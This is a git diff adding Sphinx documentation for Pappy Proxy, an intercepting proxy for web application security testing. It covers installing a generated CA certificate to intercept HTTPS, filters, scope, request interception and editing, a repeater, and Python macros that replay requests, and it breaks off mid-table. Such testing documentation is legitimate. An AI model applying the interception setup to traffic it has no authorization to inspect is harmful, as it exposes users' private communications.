(master_doc, 'PappyProxy', u'Pappy Proxy Documentation', + author, 'PappyProxy', 'One line description of project.', + 'Miscellaneous'), +] + +# Documents to append as an appendix to all manuals. +#texinfo_appendices = [] + +# If false, no module index is generated. +#texinfo_domain_indices = True + +# How to display URL addresses: 'footnote', 'no', or 'inline'. +#texinfo_show_urls = 'footnote' + +# If true, do not generate a @detailmenu in the "Top" node's menu. +#texinfo_no_detailmenu = False + + +# Example configuration for intersphinx: refer to the Python standard library. +intersphinx_mapping = {'https://docs.python.org/': None} + +def maybe_skip_member(app, what, name, obj, skip, options): + skip_vals = ('__doc__', '__module__', '__weakref__') + if name in skip_vals: + return True + if obj.__doc__ is None: + return True + if 'NOINDEX' in obj.__doc__: + return True + return False + +def setup(app): + app.connect('autodoc-skip-member', maybe_skip_member) diff --git a/docs/source/index.rst b/docs/source/index.rst new file mode 100644 index 0000000..96b43b9 --- /dev/null +++ b/docs/source/index.rst @@ -0,0 +1,24 @@ +.. Pappy Proxy documentation master file, created by + sphinx-quickstart on Sat Dec 12 11:17:09 2015. + You can adapt this file completely to your liking, but it should at least + contain the root `toctree` directive. + +Welcome to Pappy Proxy's documentation! +======================================= + +Contents: + +.. toctree:: + :maxdepth: 2 + + overview + tutorial + + +Indices and tables +================== + +* :ref:`genindex` +* :ref:`modindex` +* :ref:`search` + diff --git a/docs/source/modules.rst b/docs/source/modules.rst new file mode 100644 index 0000000..935905e --- /dev/null +++ b/docs/source/modules.rst @@ -0,0 +1,7 @@ +pappyproxy +========== + +.. toctree:: + :maxdepth: 4 + + pappyproxy diff --git a/docs/source/overview.rst b/docs/source/overview.rst new file mode 100644 index 0000000..9aa1e44 --- /dev/null +++ b/docs/source/overview.rst @@ -0,0 +1,927 @@ +The Pappy Proxy +=============== + +Introduction +------------ + +The Pappy (**P**\ roxy **A**\ ttack **P**\ roxy **P**\ rox\ **Y**) Proxy +is an intercepting proxy for performing web application security +testing. Its features are often similar, or straight up rippoffs from +`Burp Suite `__. However, Burp Suite is +neither open source nor a command line tool, thus making a proxy like +Pappy inevitable. The project is still in its early stages, so there are +bugs and only the bare minimum features, but it should be able to do +some cool stuff soon (I'm already using it for realtm work). + +Contributing +------------ + +**I am taking any and all feature requests.** If you've used Burp and +had any inconvenience with it, tell me about it and I'll do everything +in my power to make sure Pappy doesn't have those issues. Or even +better, if you want Burp to do something that it doesn't already, let me +know so that I can [STRIKEOUT:use it to stomp them into the dust] +improve my project. + +If you're brave and want to try and contribute code, please let me know. +Right now the codebase is a giant clusterfun which I have refactored a +few times already, but I would be more than happy to find a stable part +of the codebase that you can contribute to. + +How to Use It +============= + +Installation +------------ + +Pappy supports OS X and Linux (sorry Windows). Installation requires +``pip`` or some other command that can handle a ``setup.py`` with +requirements. Once the requirements are installed, you can check that it +installed correctly by running ``pappy -l`` to start the proxy. + +:: + + $ git clone --recursive https://github.com/roglew/pappy-proxy.git + $ cd pappy-proxy + $ pip install . + +Quickstart +---------- + +Pappy projects take up an entire directory. While a full directory may +seem like a dumb idea compared to storing everything in a zip file, but +when it comes to generating attack strips and things, it's easier to +just keep everything in a directory so you can view/edit files with +other programs. To start a project, do something like: + +:: + + $ mkdir test_project + $ cd test_project + $ pappy + Copying default config to directory + Proxy is listening on port 8000 + itsPappyTime> exit + $ ls + data.db project_config.json + $ + +And that's it! The proxy will by default be running on port 8000 and +bound to localhost (to keep the hackers out). You can modify the +port/interface in ``config.json``. You can list all your intercepted +requests with ``ls``, view a full request with ``vfq `` or view a +full response with ``vfs ``. No you can't delete them yet. I'm +working on it. + +Lite Mode +--------- + +If you don't want to dirty up a directory, you can run Pappy in "lite" +mode. Pappy will use the default configuration settings and will create +a temporary datafile in ``/tmp`` to use. When you quit, the file will be +deleted. If you want to run Pappy in line mode, run Pappy with either +``-l`` or ``--lite``. + +Example: + +:: + + $ pappy -l + Temporary datafile is /tmp/tmpw4mGv2 + Proxy is listening on port 8000 + itsPappyTime> quit + Deleting temporary datafile + $ + +Adding The CA Cert to Your Browser +---------------------------------- + +In order for Pappy to view data sent using HTTPS, you need to add a +generated CA cert (``certificate.crt``) to your browser. Certificates +are generated using the ``gencerts`` command and are by default stored +in the same directory as ``pappy.py``. This allows Pappy to act as a CA +and MITM HTTPS connections. I believe that Firefox and Chrome ignore +keychain/system certs, so you will have to install the CA cert to the +browsers instead of (or in addition to) adding the cert to your +keychain. + +Firefox +~~~~~~~ + +You can add the CA cert to Firefox by going to +``Preferences -> Advanced -> View Certificates -> Authorities -> Import`` +and selecting the ``certificate.crt`` file in the ``certs`` directory. + +Chrome +~~~~~~ + +You can add the CA cert to Chrome by going to +``Settings -> Show advanced settings -> HTTPS/SSL -> Manage Certificates -> Authorities -> Import`` +and selecting the ``certificate.crt`` file in the ``certs`` directory. + +Safari +~~~~~~ + +For Safari (on macs, obviously), you need to add the CA cert to your +system keychain. You can do this by double clicking on the CA cert and +following the prompts. + +Internet Explorer +~~~~~~~~~~~~~~~~~ + +I didn't search too hard for instructions on this (since Pappy doesn't +support windows) and I don't own a Windows machine to try this, so if +you have trouble, I'm not the one to ask. According to Google you can +double-click the cert to install it to the system, or you can do +``Tools -> Content -> Certificates -> Trusted Root Certificates -> Import``. + +Configuration +------------- + +Configuration for each project is done in the ``config.json`` file. The +file is a JSON-formatted dictionary that contains settings for the +proxy. The following fields can be used to configure the proxy: + ++----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Key | Value | ++============================+=======================================================================================================================================================================================================================================================================================================================================================================================+ +| ``data_file`` | The file where requests and images will be stored | ++----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``debug_dir`` (optional) | Where connection debug info should be stored. If not present, debug info is not saved to a file. | ++----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``cert_dir`` | Where the CA cert and the private key for the CA cert are stored | ++----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``proxy_listeners`` | A list of dicts which describe which ports the proxy will listen on. Each item is a dict with "port" and "interface" values which determine which port and interface to listen on. For example, if port=8000 and the interface is 127.0.0.1, the proxy will only accept connections from localhost on port 8000. To accept connections from anywhere, set the interface to 0.0.0.0. | ++----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ + +The following tokens will also be replaced with values: + ++------------------+------------------------------------------------+ +| Token | Replaced with | ++==================+================================================+ +| ``{PAPPYDIR}`` | The directory where Pappy's files are stored | ++------------------+------------------------------------------------+ + +Generating Pappy's CA Cert +-------------------------- + +In order to intercept and modify requests to sites that use HTTPS, you +have to generate and install CA certs to your browser. You can do this +by running the ``gencerts`` command in Pappy. By default, certs are +stored in the same directory as Pappy's script files. However, you can +change where Pappy will look for the private key file in the config +file. In addition, you can give the ``gencerts`` command an argument to +have it put the generated certs in a different directory. + ++----------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Command | Description | ++========================================+================================================================================================================================================================+ +| ``gencerts [/path/to/put/certs/in]`` | Generate a CA cert that can be added to your browser to let Pappy decrypt HTTPS traffic. Also generates the private key for that cert in the same directory. | ++----------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------+ + +Browsing Recorded Requests/Responses +------------------------------------ + +The following commands can be used to view requests and responses + ++--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Command | Aliases | Description | ++====================+================================+====================================================================================================================================================================================================================================================================================================================================================================================================================================+ +| ``ls [a|``] | list, ls | List requests that are in the current context (see Context section). Has information like the host, target path, and status code. With no arguments, it will print the 25 most recent requests in the current context. If you pass 'a' or 'all' as an argument, it will print all the requests in the current context. If you pass a number "n" as an argument, it will print the n most recent requests in the current context. | ++--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``sm`` | sm, site\_map | Print a tree showing the site map. It will display all requests in the current context that did not have a 404 response. | ++--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``viq `` | view\_request\_info, viq | View additional information about requests. Includes the target port, if SSL was used, applied tags, and other information. | ++--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``vfq `` | view\_full\_request, vfq | [V]iew [F]ull Re[Q]uest, prints the full request including headers and data. | ++--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``vhq `` | view\_request\_headers, vhq | [V]iew [H]eaders of a Re[Q]uest. Prints just the headers of a request. | ++--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``vfs `` | view\_full\_response, vfs | [V]iew [F]ull Re[S]ponse, prints the full response associated with a request including headers and data. | ++--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``vhs `` | view\_response\_headers, vhs | [V]iew [H]eaders of a Re[S]ponse. Prints just the headers of a response associated with a request. | ++--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ + +The table shown will have the following columns: + ++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Label | Description | ++===========+========================================================================================================================================================================================================================+ +| ID | The request ID of that request. Used to identify the request for other commands. | ++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Method | The method(/http verb) for the request | ++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Host | The host that the request was sent to | ++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Path | The path of the request | ++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| S-Code | The status code of the response | ++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Req Len | The length of the data submitted | ++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Rsp Len | The length of the data returned in the response | ++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Time | The time in seconds it took to complete the request | ++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Mngl | If the request or response were mangled with the interceptor. If the request was mangled, the column will show 'q'. If the response was mangled, the column will show 's'. If both were mangled, it will show 'q/s'. | ++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ + +Tags +---- + +You can apply tags to a request and use filters to view specific tags. +The following commands can be used to apply tags to requests: + ++---------------------------+-----------+---------------------------------------------------------------------------------------------------------------+ +| Command | Aliases | Description | ++===========================+===========+===============================================================================================================+ +| ``tag [id(s)]`` | tag | Apply a tag to the given requests. If no IDs are given, the tag will be applied to all in-context requests. | ++---------------------------+-----------+---------------------------------------------------------------------------------------------------------------+ +| ``untag [id(s)]`` | untag | Remove a tag from the given ids. If no IDs are given, the tag is removed from every in-context request. | ++---------------------------+-----------+---------------------------------------------------------------------------------------------------------------+ +| ``clrtag `` | clrtag | Removes all tags from the given ids. | ++---------------------------+-----------+---------------------------------------------------------------------------------------------------------------+ + +Request IDs +----------- + +Request IDs are how you identify a request. You can see it when you run +``ls``. In addition, you can prepend an ID with prefixes to get requests +or responses associated with the request (for example its unmangled +request or response) Here are the valid prefixes: + ++----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Prefix | Description | ++==========+=========================================================================================================================================================================================================================+ +| ``u`` | If the request was mangled, prefixing the ID with ``u`` will result in the unmangled version of the request. The resulting request will not have an associated response because it was never submitted to the server. | ++----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``s`` | If the response was mangled, prefixing the request ID ``s`` will result in the same request but its associated response will be the unmangled version. | ++----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ + +I know it sounds kind of weird, but here are some example commands that +will hopefully make things clearer. Suppose request 1 had its request +mangled, and request 2 had its response mangled. + +- ``vfq 1`` Prints the mangled version of request 1 +- ``vfq u1`` Prints the unmangled version of request 1 +- ``rp u1`` Open the repeater with the unmangled version of request 1 +- ``vfs u1`` Throws an error because the unmangled version was never + submitted +- ``vfs s1`` Throws an error because the response for request 1 was + never mangled +- ``vfs 2`` Prints the mangled response of request 2 +- ``vfs s2`` Prints the unmangled response of request 2 +- ``vfq u2`` Throws an error because request 2's request was never + mangled +- ``vfs u2`` Throws an error because request 2's request was never + mangled + +Passing Multiple Request IDs to a Command +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Some arguments can take multiple IDs for an argument. To pass multiple +IDs to a command, separate the IDs with commas (no spaces!). A few +examples: + +- ``viq 1,2,u3`` View information about requests 1, 2, and the + unmangled version of 3 +- ``gma foo 4,5,6`` Generate a macro with definitions for requests 4, + 5, and 6 + +Context +------- + +The context is a set of filters that define which requests are +considered "active". Only requests in the current context are displayed +with ``ls``, and eventually contexts will be how Pappy will manage +requests for group operations. By default, the context includes every +single request that passes through the proxy. You can limit down the +current context by applying filters. Filters apply rules such as "the +response code must equal 500" or "the host must contain google.com". +Once you apply one or more filters, only requests/responses which pass +every active filter will be a part of the current context. + ++-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+ +| Command | Aliases | Description | ++=========================+=====================+================================================================================================================================================+ +| ``f `` | filter, fl, f | Add a filter that limits which requests are included in the current context. See the Filter String section for how to create a filter string | ++-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``fc`` | filter\_clear, fc | Clears the filters and resets the context to contain all requests and responses. Ignores scope | ++-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``fls`` | filter\_list, fls | Print the filters that make up the current context | ++-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+ + +Filter Strings +-------------- + +Filter strings define a condition that a request/response pair must pass +to be part of a context. Most filter strings have the following format: + +:: + + + +Where ```` is some part of the request/response, ```` +is some comparison to ````. Also **if you prefix a comparer with +'n' it turns it into a negation.** For example, if you wanted a filter +that only matches requests to target.org, you could use the following +filter string: + +:: + + host is target.org + + field = "host" + comparer = "is" + value = "target.org" + +For fields that are a list of key/value pairs (headers, get params, post +params, and cookies) you can use the following format: + +:: + + [ ] + +This is a little more complicated. If you don't give comparer2/value2, +the filter will pass any pair where the key or the value matches +comparer1 and value1. If you do give comparer2/value2, the key must +match comparer1/value1 and the value must match comparer2/value2 For +example: + +:: + + Filter A: + cookie contains Session + + Filter B: + cookie contains Session contains 456 + + Filter C: + cookie ncontains Ultra + + Cookie: SuperSession=abc123 + Matches A and C but not B + + Cookie: UltraSession=abc123456 + Matches both A and B but not C + +List of fields +~~~~~~~~~~~~~~ + ++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ +| Field Name | Aliases | Description | Format | ++==============+================================+==================================================================================+=============+ +| all | all | The entire request represented as one string | String | ++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ +| host | host, domain, hs, dm | The target host (ie www.target.com) | String | ++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ +| path | path, pt | The path of the url (ie /path/to/secrets.php) | String | ++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ +| body | body, data, bd, dt | The body (data section) of either the request or the response | String | ++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ +| verb | verb, vb | The HTTP verb of the request (ie GET, POST) | String | ++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ +| param | param, pm | Either the get or post parameters | Key/Value | ++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ +| header | header, hd | An HTTP header (ie User-Agent, Basic-Authorization) in the request or response | Key/Value | ++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ +| rawheaders | rawheaders, rh | The entire header section (as one string) of either the head or the response | String | ++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ +| sentcookie | sentcookie, sck | A cookie sent in a request | Key/Value | ++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ +| setcookie | setcookie, stck | A cookie set by a response | Key/Value | ++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ +| statuscode | statuscode, sc, responsecode | The response code of the response | Numeric | ++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ +| tag | tag | Any of the tags applied to the request | String | ++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ + +List of comparers +~~~~~~~~~~~~~~~~~ + ++--------------+------------------+-----------------------------------------------------------------+ +| Field Name | Aliases | Description | ++==============+==================+=================================================================+ +| is | is | Exact string match | ++--------------+------------------+-----------------------------------------------------------------+ +| contains | contains, ct | A contain B is true if B is a substring of A | ++--------------+------------------+-----------------------------------------------------------------+ +| containsr | containsr, ctr | A containr B is true if A matches regexp B | ++--------------+------------------+-----------------------------------------------------------------+ +| exists | exists, ex | A exists B if A is not an empty string (likely buggy) | ++--------------+------------------+-----------------------------------------------------------------+ +| Leq | Leq | A Leq B if A's length equals B (B must be a number) | ++--------------+------------------+-----------------------------------------------------------------+ +| Lgt | Lgt | A Lgt B if A's length is greater than B (B must be a number ) | ++--------------+------------------+-----------------------------------------------------------------+ +| Llt | Llt | A Llt B if A's length is less than B (B must be a number) | ++--------------+------------------+-----------------------------------------------------------------+ +| eq | eq | A eq B if A = B (A and B must be a number) | ++--------------+------------------+-----------------------------------------------------------------+ +| gt | gt | A gt B if A > B (A and B must be a number) | ++--------------+------------------+-----------------------------------------------------------------+ +| lt | lt | A lt B if A < B (A and B must be a number) | ++--------------+------------------+-----------------------------------------------------------------+ + +Scope +----- + +Scope is a set of rules to define whether Pappy should mess with a +request. You define the scope by setting the context to what you want +the scope to be and running ``scope_save``. The scope is saved in +data.db and is automatically restored when using the same project +directory. + +Any requests which don't match all the filters in the scope will be +passed straight to the browser and will not be caught by the interceptor +or recorded in the database. This is useful to make sure you don't +accidentally do something like log in to your email through the proxy +and have your plaintext username/password stored and accidentally shown +to your coworkers. + ++--------------------+---------------------------+------------------------------------------------------+ +| Command | Aliases | Description | ++====================+===========================+======================================================+ +| ``scope_save`` | ``scope_save`` | Set the current context to be the scope | ++--------------------+---------------------------+------------------------------------------------------+ +| ``sr`` | ``scope_reset``, ``sr`` | Set the current context to the scope | ++--------------------+---------------------------+------------------------------------------------------+ +| ``scope_delete`` | ``scope_delete`` | Clear the scope (everything's in scope!) | ++--------------------+---------------------------+------------------------------------------------------+ +| ``scope_list`` | ``scope_list``, ``sls`` | List all the filters that are applied to the scope | ++--------------------+---------------------------+------------------------------------------------------+ + +Built-In Filters +~~~~~~~~~~~~~~~~ + +Pappy also includes some built in filters that you can apply. These are +things that you may want to filter by but may be too tedius to type out. +The ``fbi`` command also supports tab completion. + ++-----------------+-----------------------------------------+ +| Filter | Description | ++=================+=========================================+ +| ``not_image`` | Matches anything that isn't an image. | ++-----------------+-----------------------------------------+ + ++--------------------+-------------------------------+--------------------------------------------------+ +| Command | Aliases | Description | ++====================+===============================+==================================================+ +| ``fbi `` | ``builtin_filter``, ``fbi`` | Apply a built-in filter to the current context | ++--------------------+-------------------------------+--------------------------------------------------+ + +Interceptor +----------- + +This feature is like Burp's proxy with "Intercept Mode" turned on, +except it's not turned on unless you explicitly turn it on. When the +proxy gets a request while in intercept mode, it lets you edit it before +it forwards it to the server. In addition, it can stop responses from +the server and let you edit them before they get forwarded to the +browser. When you run the command, you can pass ``request`` and/or +``response`` as arguments to say whether you would like to intercept +requests and/or responses. Only in-scope requests/responses will be +intercepted (see Scope section). + +The interceptor will use your EDITOR variable to decide which editor to +edit the request/response with. If no editor variable is set, it will +default to ``vi``. + +To forward a request, edit it, save the file, then quit. + ++---------------------+-------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Command | Aliases | Description | ++=====================+=========================+=================================================================================================================================================================================================================+ +| ``ic +`` | ``intercept``, ``ic`` | Begins interception mode. Press enter to leave interception mode and return to the command prompt. Pass in ``request`` to intercept requests, ``response`` to intercept responses, or both to intercept both. | ++---------------------+-------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ + +:: + + Intercept both requests and responses: + > ic requests responses + > ic req rsp + + Intercept just requests: + > ic requests + > ic req + + Intercept just responses: + > ic responses + > ic rsp + + Be totally useless: + > ic + +Repeater +-------- + +This feature is like Burp's repeater (yes, really). You choose a request +and Pappy will open vim in a split window with your request on the left +and the original response on the right. You can make changes to the +request and then run ":RepeaterSubmitBuffer" to submit the modified +request. The response will be displayed on the right. This command is +bound to ``f`` by default, but you can rebind it in your vimrc +(I think, dunno if vim will complain if it's undefined). This command +will submit whatever buffer your cursor is in, so make sure it's in the +request buffer. + +To drop a request, delete everything, save and quit (``ggdG:wq``). + +When you're done with repeater, run ":qa!" to avoid having to save +changes to nonexistent files. + ++---------------+----------------+----------------------------------------------+ +| Command | Aliases | Description | ++===============+================+==============================================+ +| ``rp `` | repeater, rp | Open the specified request in the repeater | ++---------------+----------------+----------------------------------------------+ + ++----------------------------+--------------+----------------------------------------------------------------------------------------------------+ +| Vim Command | Keybinding | Action | ++============================+==============+====================================================================================================+ +| ``RepeaterSubmitBuffer`` | f | Submit the current buffer, split the windows vertically, and show the result in the right window | ++----------------------------+--------------+----------------------------------------------------------------------------------------------------+ + +Macros +------ + +Macros are Pappy's version of Burp's intruder. You can use macros to +make automated requests through the proxy and save them to the data +file. A macro file is any python script file in the current directory +that is in the form ``macro_.py``. An example project directory +with macros would be: + +:: + + $ ls -l + -rw-r--r-- 1 scaryhacker wheel 150 Nov 26 11:17 config.json + -rw------- 1 scaryhacker wheel 2639872 Nov 26 17:18 data.db + -rw-r--r-- 1 scaryhacker wheel 471 Nov 26 18:42 macro_blank.py + -rw-r--r-- 1 scaryhacker wheel 264 Nov 26 18:49 macro_hackthensa.py + -rw-r--r-- 1 scaryhacker wheel 1261 Nov 26 18:37 macro_testgen.py + -rw-r--r-- 1 scaryhacker wheel 241 Nov 26 17:18 macro_test.py + +In this case we have a ``blank``, ``hackthensa``, ``testgen``, and +``test`` macro. A macro script is any python script that defines a +``run_macro(args)`` function and a ``MACRO_NAME`` variable. For example, +a simple macro would be: + +:: + + --- macro_print.py + + MACRO_NAME = 'Print Macro' + + def run_macro(args): + if args: + print "Hello, %s!" % args[0] + else: + print "Hello, Pappy!" + +You can place this macro in your project directory then load and run it +from Pappy. When a macro is run, arguments are passed from the command +line. Arguments are separated the same way as they are on the command +line, so if you want to use spaces in your argument, you have to put +quotes around it. + +:: + + $ pappy + Proxy is listening on port 8000 + itsPappyTime> lma + Loaded "" + Loaded "" + Loaded "" + Loaded "" + Loaded "" + itsPappyTime> rma print + Hello, Pappy! + itsPappyTime> rma print NSA + Hello, NSA! + itsPappyTime> rma print Idiot Slayer + Hello, Idiot! + itsPappyTime> rma print "Idiot Slayer" + Hello, Idiot Slayer! + +You'll need to run ``lma`` every time you make a change to the macro in +order to reload it. In addition, any code outside of the ``run_macro`` +function will be run when it the macro gets loaded. + +Generating Macros From Requests +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You can also generate macros that have Pappy ``Request`` objects created +with the same information as requests you've already made. For example: + +:: + + $ pappy + Proxy is listening on port 8000 + itsPappyTime> ls + ID Verb Host Path S-Code Req Len Rsp Len Time Mngl + 5 GET vitaly.sexy /esr1.jpg 200 OK 0 17653 -- -- + 4 GET vitaly.sexy /netscape.gif 200 OK 0 1135 -- -- + 3 GET vitaly.sexy /construction.gif 200 OK 0 28366 -- -- + 2 GET vitaly.sexy /vitaly2.jpg 200 OK 0 2034003 -- -- + 1 GET vitaly.sexy / 200 OK 0 1201 -- -- + itsPappyTime> gma sexy 1 + Wrote script to macro_sexy.py + itsPappyTime> quit + $ cat macro_sexy.py + from pappyproxy.http import Request, get_request, post_request + + MACRO_NAME = 'Macro 94664581' + SHORT_NAME = '' + + ########### + ## Requests + + req0 = Request(( + 'GET / HTTP/1.1\r\n' + 'Host: vitaly.sexy\r\n' + 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n' + 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n' + 'Accept-Language: en-US,en;q=0.5\r\n' + 'Accept-Encoding: gzip, deflate\r\n' + 'Connection: keep-alive\r\n' + 'Pragma: no-cache\r\n' + 'Cache-Control: no-cache\r\n' + '\r\n' + )) + + + def run_macro(args): + # Example: + # req = req0.copy() # Copy req0 + # req.submit() # Submit the request to get a response + # print req.response.raw_headers # print the response headers + # req.save() # save the request to the data file + # or copy req0 into a loop and use string substitution to automate requests + pass + $ + +If you enter in a value for ``SHORT_NAME``, you can use it as a shortcut +to run that macro. So if in a macro you set ``SHORT_NAME='tm'`` you can +run it by running ``itsPappyTime> rma tm``. + ++--------------------------+-------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+ +| Command | Aliases | Description | ++==========================+===============================+=====================================================================================================================================+ +| ``lma [dir]`` | ``load_macros``, ``lma`` | Load macros from a directory. If ``dir`` is not given, use the current directory (the project directory) | ++--------------------------+-------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+ +| ``rma `` | ``run_macro``, ``rma`` | Run a macro with the given name. You can use the shortname, filename, or long name. | ++--------------------------+-------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+ +| ``gma [id(s)]`` | ``generate_macro``, ``gma`` | Generate a macro with the given name. If request IDs are given, the macro will contain request objects that contain each request. | ++--------------------------+-------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+ +| ``rpy `` | ``rpy`` | Print the Python object definitions for each of the given ids | ++--------------------------+-------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+ + +Request Objects +~~~~~~~~~~~~~~~ + +The main method of interacting with the proxy is through ``Request`` +objects. You can submit a request with ``req.sumbit()`` and save it to +the data file with ``req.save()``. The objects also have attributes +which can be used to modify the request in a high-level way. +Unfortunately, I haven't gotten around to writing full docs on the API +and it's still changing every once in a while so I apologize if I pull +the carpet out from underneath you. + +Dict-like objects are represented with a custom class called a +``RepeatableDict``. I haven't gotten around to writing docs on it yet, +so just interact with it like a dict and don't be surprised if it's +missing some methods you would expect a dict to have. + +Here is a quick (non-comprehensive) list of attributes that you can use +with ``Request`` objects: + ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| Attribute | Settable? | Data Type | Description | ++=================+=============+==================+=================================================================================================================+ +| cookies | Yes | RepeatableDict | Cookies sent in the request | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| fragment | Yes | String | The url fragment (The text after the #) | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| full\_path | No | String | The path including url params and the fragment | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| full\_request | No | String | The full request including headers and data | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| headers | Yes | RepeatableDict | The headers of the request | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| host | Yes | String | The host that the request is sent to | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| is\_ssl | Yes | Bool | Whether the request is/was sent over SSL | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| path | Yes | String | The document path (ie www.a.com/this/is/the/path) | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| port | Yes | Integer | The port the request is/was sent to | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| post\_params | Yes | RepeatableDict | Post parameters | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| raw\_data | Yes | String | The data part of the request | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| raw\_headers | No | String | The text of the headers section of the request | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| reqid | Yes | Integer | The ID of the request. If set when save() is called, it replaces the request with the same id in the database | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| response | Yes | Response | The associated response for the request | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| rsptime | No | Datetime Delta | The time it took to complete the request. Set when submit() is called | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| status\_line | Yes | String | The status line of the request (ie 'GET / HTTP/1.1') | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| time\_end | Yes | Datetime | The time when the request was completed | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| time\_start | Yes | Datetime | The time when the request was started | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| unmangled | Yes | Request | If the request was mangled, the unmangled version of the request | 